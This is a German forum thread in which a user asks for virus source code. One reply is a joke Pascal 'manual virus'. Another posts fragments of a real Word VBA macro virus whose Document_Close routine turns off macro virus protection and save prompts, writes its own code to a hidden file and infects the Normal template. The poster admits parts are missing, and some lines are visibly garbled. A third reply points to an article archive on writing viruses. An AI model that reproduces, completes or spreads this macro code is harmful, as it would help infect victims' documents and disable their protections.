Programmieren - alles kontrollieren 4.946 Themen, 20.742 Beiträge

Andreas42 swiss1291 „Virus Quellcode“
Optionen

Hi!

program word2004;
begin
writeln('Ich bin ein manueller Virus!');
writeln('Bitte kopiere mich auf alle Festplatten');
writeln('und Disketten, die dir unter die Finger kommen!');
writeln;
writeln('Danke!!');
end.

Compilierbar mit jedem Pascal-Compiler der Welt.

Und was für ein Problem hast du jetzt wirklich?

Bis denn
Andreas

Gott2 wird noch richten, ob diese Antwort zielfuehrend ist oder nicht.
bei Antwort benachrichtigen
REPI swiss1291 „Virus Quellcode“
Optionen

So geht er los :
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) "Private Sub
....
Else
t = ""
End If
If t "" Then
q:
Close #1
....
If Rnd If Left(ActiveDocument.Name, 8) "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved s Then ActiveDocument.Saved = s
End Sub

... und hier endet er, und dazwischen fehlt einiges !
Ist ein VB Macrovirus !
Hier kannst Du was darüber nachlesen !!


repi

Es empfiehlt sich immer, etwas Linux im Hause zu haben.
bei Antwort benachrichtigen
Wumpchild swiss1291 „Virus Quellcode“
Optionen

service - artikel-archiv - viren programmieren

hier auf nickles.de...

p r o s t Wumpchild
bei Antwort benachrichtigen